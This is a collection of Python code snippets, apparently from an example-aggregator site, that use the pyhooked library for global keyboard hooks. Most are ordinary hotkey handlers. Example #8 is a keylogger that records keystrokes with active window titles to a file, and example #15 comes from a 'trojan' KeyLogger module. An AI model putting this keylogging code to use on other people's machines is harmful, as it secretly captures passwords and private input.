コード例 #1
0
ファイル: windowsReg.py プロジェクト: heyuanree/fxxku
class WindowsReg(object):
    
    hotkey_leader = config.HOTKEY_LERDER
    hotkey_fun = config.HOTKET_FUN
    hk = None
    fk = None

    def __init__(self):
        self.hk = Hook()
        self.fk = Fxxku()

    def register_startup(self):
        pass
    
    def release_startup(self):
        pass

    def register_hotkey(self):
        self.hk.handler = self.handler_event
        self.hk.hook()

    def release_hotkey(self):
        self.hk.stop()

    def set_taskbar(self):
        pass

    def handler_event(self, args):
        if isinstance(args, KeyboardEvent):
            if args.current_key == self.hotkey_fun and args.event_type == 'key down' and self.hotkey_leader in args.pressed_key:
                self.fk.response()
            elif args.current_key == 'Q' and args.event_type == 'key down' and 'Lcontrol' in args.pressed_key:
                self.release_hotkey()
                self.fk.empty_clipboard()
コード例 #2
0
class HookThread(QThread):
    trigger = pyqtSignal(str)
    def __int__(self):
        super(HookThread, self).__init__()

    def detectInputKey(self): #core function for linux
        from evdev import InputDevice
        dev = InputDevice('/dev/input/event12')
        # print(dev)
        # print(dev.capabilities(verbose=True))
        while True:
            # print('\n')
            select([dev], [], [])
            for event in dev.read():
                code=event.code
                value=event.value
                if code==0 or (code==4 and value>2 ):
                    pass
                else:
                    key=self.code2key[str(code)]
                    status=self.val2sts[value]
                    if status in('release','keep-press') and key in (self.allowedEvent):
                        self.trigger.emit(key)
                    # print(status,key)
            # print("code:%s value:%s" % (code, value))

    def handle_events(self,args): #core function for Windows
        if isinstance(args, self.KeyboardEvent):
            if args.event_type == 'key down':
                key=args.current_key.upper()
                key='KEY_'+key
                if key in self.allowedEvent:
                    self.trigger.emit(key)
            if args.current_key == 'G' and args.event_type == 'key down' and 'Lcontrol' in args.pressed_key:
                os.system("python getImgFromClipboard.py")

    def run(self):
        self.allowedEvent = ('KEY_UP', 'KEY_LEFT', 'KEY_RIGHT', 'KEY_DOWN')
        if platform.system()=='Linux':
            self.code2key = dict()
            self.val2sts = {1: 'press', 2: 'keep-press', 0: 'release'}
            self.code2key = json.load(open(keyboard_name, 'r'))
            if detectInputKeyInLinux:
                self.detectInputKey()
        elif platform.system()=='Windows':
            from pyhooked import Hook, KeyboardEvent
            self.KeyboardEvent=KeyboardEvent
            self.hk = Hook()  # make a new instance of PyHooked
            self.hk.handler = self.handle_events  # add a new shortcut ctrl+a, or triggered on mouseover of (300,400)
            self.hk.hook()  # hook into the events, and listen to the presses
コード例 #3
0
ファイル: hot_key.py プロジェクト: shad0w008/gjqt-script
class HotKey:
    def __init__(self):
        self.hk = Hook()
        self.handler: Dict[str, EvenLoop] = {}
        self.thread = None

    def add_handler(self, even_loop: EvenLoop):
        assert even_loop.key() not in self.handler, "exists:%s" % (
            even_loop.key())
        self.handler[even_loop.key()] = even_loop

    def start_hook(self):
        def handle_events(args: KeyboardEvent):
            key = args.current_key
            if key not in self.handler or not args.event_type == 'key up':
                return
            handlers = seq(self.handler.values())
            if handlers.exists(lambda x: x.is_run):
                handlers.for_each(lambda x: x.set_stop())
            else:
                handlers.filter(lambda x: x.key() == key).for_each(
                    lambda x: x.update())

        self.hk.handler = handle_events
        self.thread = Thread(target=lambda: self.hk.hook())
        self.thread.start()

    def run_even_loop(self):
        while True:
            runed_even: EvenLoop = seq(
                self.handler.values()).find(lambda x: x.is_run)
            if runed_even is None:
                time.sleep(0.1)
            else:
                runed_even.run()
                runed_even.delay()
コード例 #4
0
ファイル: main.py プロジェクト: Sambuilder/myTopSup
        if isinstance(args, KeyboardEvent):
            if args.current_key == self.hot_key and args.event_type == 'key down':
                self.main()
            elif args.current_key == 'Q' and args.event_type == 'key down':
                hk.stop()
                print('退出啦~')


if __name__ == "__main__":
    try:
        helper = TopSupHelper()
        print("配置文件正常加载!\n")
    except:
        print("配置文件异常,尝试使用默认配置\n")
    try:
        browser = webdriver.Chrome(r'.\tools\chromedriver.exe')
        browser.get(helper.search_engine)
    except:
        print("chrome浏览器打开异常,可能是版本不对\n")
    hld = win32gui.FindWindow(None, helper.vm_name)
    if hld > 0:
        print(
            '使用前记得去config.ini把配置改好哦~~,主要是自己申请换key,不然次数很快就用完啦~~\n\n用模拟器打开对应应用~~\n题目出现的时候按F2,我就自动帮你去搜啦~\n'
        )
        hk = Hook()
        hk.handler = helper.handle_events
        hk.hook()
    else:
        print('咦,你没打开' + helper.vm_name + '吧!请打开' + helper.vm_name +
              '并重启下start.exe')
コード例 #5
0
ファイル: test.py プロジェクト: kansyokuk/NetworkProgramming
from pyhooked import Hook, KeyboardEvent, MouseEvent
import signal

signal.signal(signal.SIGINT, signal.SIG_DFL)

def handle_events(args):
    if isinstance(args, KeyboardEvent):
        print(args.key_code, args.current_key, args.event_type)

hk = Hook()  # make a new instance of PyHooked
hk.handler = handle_events  # add a new shortcut ctrl+a, or triggered on mouseover of (300,400)
hk.hook()  # hook into the events, and listen to the press
コード例 #6
0
ファイル: main.py プロジェクト: huokedu/wenda-helper
def handle_events(args):
    if isinstance(args, KeyboardEvent):
        if args.current_key == hot_key and args.event_type == 'key down':
            main()
        elif args.current_key == 'Q' and args.event_type == 'key down':
            hk.stop()
            print('退出啦~')


if __name__ == "__main__":
    try:
        init()
        print("配置文件正常加载!\n")
    except:
        print("配置文件异常,尝试使用默认配置\n")
    try:
        browser = webdriver.Chrome(r'.\tools\chromedriver.exe')
        browser.get(search_engine)
    except:
        print("chrome浏览器打开异常,可能是版本不对\n")
    hld = win32gui.FindWindow(None, vm_name)
    if hld > 0:
        print('使用前记得去config.ini把配置改好哦~~,主要是自己申请换key,不然次数很快就用完啦~~\n\n用模拟器打开对应应用~~\n题目出现的时候按F2,我就自动帮你去搜啦~\n')
        hk = Hook()
        hk.handler = handle_events
        hk.hook()
    else:
        print('咦,你没打开' + vm_name + '吧!请打开' + vm_name + '并重启下start.exe')

コード例 #7
0
class App(QWidget):
    def __init__(self):
        super().__init__()
        self.input = QLineEdit(self)
        self.hk = Hook()
        self.init_ui()

    def init_ui(self):
        self.setWindowFlags(Qt.FramelessWindowHint)
        self.setWindowFlags(Qt.SplashScreen | Qt.WindowStaysOnTopHint)

        self.resize(500, 110)
        self.center()

        self.setAutoFillBackground(True)
        widget_colour = self.palette()
        color = QColor('#1D1F21')
        widget_colour.setColor(self.backgroundRole(), color)
        self.setPalette(widget_colour)

        # input
        self.input.resize(450, 70)
        self.input.move(self.rect().center() - self.input.rect().center())
        self.input.returnPressed.connect(self.search)

        self.input.setStyleSheet(
            "border: 0px;  background: #282a2e; color: #969896; font-size : 30px"
        )

        self.hk.handler = self.on_keyboard_event
        self.hk.hook()

    def keyPressEvent(self, event):
        if event.key() == Qt.Key_Escape:
            self.input.setText("")
            self.destroy_gui()

    def center(self):
        qr = self.frameGeometry()
        cp = QDesktopWidget().availableGeometry().center()
        qr.moveCenter(cp)
        self.move(qr.topLeft())

    def on_keyboard_event(self, args):
        if isinstance(args, KeyboardEvent):
            if args.current_key == 'Space' and args.event_type == 'key down' and 'Lcontrol' in args.pressed_key:
                self.display_gui()

    def search(self):
        if self.input.text() == "close":
            sys.exit()

        path = UserPath(self.input.text()).match()
        if path != "":
            self.destroy_gui()
            subprocess.Popen(path)
            self.input.setText("")

    def destroy_gui(self):
        self.hide()

    def display_gui(self):
        self.show()
        self.input.activateWindow()
コード例 #8
0
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
    window_title = create_string_buffer(512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    return window_title.value.decode('cp932', 'ignore')


def event(args):
    global window_current
    if isinstance(args, KeyboardEvent):
        if 'down' in args.event_type:
            now_window = get_current_process()
            if window_current != now_window:
                input_key.append(now_window + "\n")
                window_current = now_window
            if args.current_key not in ['Left', 'Up', 'Right', 'Down']:
                input_key.append(args.current_key)
            if 'Return' == args.current_key:
                with open(save_file, 'a') as f:
                    f.write(''.join(input_key) + '\n')
                input_key.clear()


setting_keylogger()
window_current = get_current_process()
hook = Hook()
hook.handler = event
hook.hook()
コード例 #9
0
ファイル: example.py プロジェクト: ethanhs/pyhooked
from pyhooked import Hook, KeyboardEvent, MouseEvent


def handle_events(args):
    if isinstance(args, KeyboardEvent):
        print(args.key_code)
        if args.current_key == 'A' and args.event_type == 'key down' and 'Lcontrol' in args.pressed_key:
            print("Ctrl + A was pressed")
        elif args.current_key == 'Q' and args.event_type == 'key down' and 'Lcontrol' in args.pressed_key:
            hk.stop()
            print('Quitting.')

    if isinstance(args, MouseEvent):
        if args.mouse_x == 300 and args.mouse_y == 400:
            print("Mouse is at (300,400") 

hk = Hook()  # make a new instance of PyHooked
hk.handler = handle_events  # add a new shortcut ctrl+a, or triggered on mouseover of (300,400)
hk.hook()  # hook into the events, and listen to the presses
コード例 #10
0
 def hook_thread(self):
     hk = Hook()  # make a new instance of PyHooked
     hk.handler = self.handle_events  # add a new shortcut ctrl+a, or triggered on mouseover of (300,400)
     hk.hook()  # hook into the events, and listen to the presses
コード例 #11
0
from pyhooked import Hook, KeyboardEvent

h = Hook()


def f(event):
    if isinstance(event, KeyboardEvent):
        print(event.pressed_key)
        if event.pressed_key == ['Q']:
            h.stop()
        else:
            raise Exception()


h.handler = f

if __name__ == '__main__':
    h.hook(mouse=True)
コード例 #12
0
class PerformHelper():
    """ this is a class for bird performance.
    """
    def __init__(self):
        self.settings = self.get_settings()
        self.wavs = {val: pygame.mixer.Sound("wav/{}.wav".format(key)) \
                for key, val in self.settings.items()}
        self.before_wav = datetime.datetime.now()
        self.hk = None
        self.wav_margin = 0.05

    def get_settings(self, setting_name="settings.txt"):
        """ get settings from text.
        """
        with open(setting_name, "r") as f:
            lines = f.readlines()

        splitlines = []
        for line in lines:
            if line != "" and line[0] != "#":
                tmp = re.sub(r"[ \r\n]", "", line)
                tmp = tmp.split("=")
                splitlines.append(tmp)

        settings = {}
        for splitline in splitlines:
            if len(splitline) > 1:
                settings[splitline[0]] = splitline[1]
        return settings

    def mainloop(self):
        """ Endless loop in this function and get keyboard event.
        """
        # create a hook manager
        self.hk = Hook()
        # watch for all mouse events
        self.hk.handler = self.handle_events
        #hm.handler = self.OnKeyboardEvent
        # set the hook
        self.hk.hook()

    def handle_events(self, args):
        """ When the keyboard event raise, this function run audio controler. 
        """
        if isinstance(args, KeyboardEvent):
            self.now = datetime.datetime.now()
            diff = self.now - self.before_wav
            self.audio_contoroler(diff, args)

        # if isinstance(args, MouseEvent):
        #     print(args.mouse_x, args.mouse_y)

    def audio_contoroler(self, diff, args):
        """ Play Audio
        """
        if diff.total_seconds(
        ) < self.wav_margin or args.event_type != "key down":
            return

        key = args.current_key
        if 'Lmenu' in args.pressed_key or 'Rmenu' in args.pressed_key:
            key = "alt+" + key
        if 'Lcontrol' in args.pressed_key or 'Rcontrol' in args.pressed_key:
            key = "ctrl+" + key
        if 'Lshift' in args.pressed_key or 'Rshift' in args.pressed_key:
            key = "shift+" + key
        key = key.lower()

        if key not in self.wavs.keys():
            #print("Invalid key: {}".format(key))
            return

        print("push {}".format(key))
        # audio
        self.wavs[key].play()
        self.before_wav = self.now
コード例 #13
0
ファイル: PyHook.py プロジェクト: mlna717/cardhit
def notifyListen(chatWdw):
    global chatFrame
    chatFrame = chatWdw
    hk = Hook()
    hk.handler = handle_events
    hk.hook()
コード例 #14
0
ファイル: test.py プロジェクト: ethanhs/pyhooked
from pyhooked import Hook, KeyboardEvent

h = Hook()

def f(event):
 if isinstance(event, KeyboardEvent):
  print(event.pressed_key)
  if event.pressed_key == ['Q']:
   h.stop()
  else:
   raise Exception()

h.handler = f

if __name__ == '__main__':
 h.hook(mouse = True)
コード例 #15
0
ファイル: KeyLogger.py プロジェクト: shintoutou/trojan
def run(**kwargs):
    hk = Hook()  # make a new instance of PyHooked
    hk.handler = keyStroke  # add a new shortcut ctrl+a, or triggered on mouseover of (300,400)
    hk.hook()  # hook into the events, and listen to the presses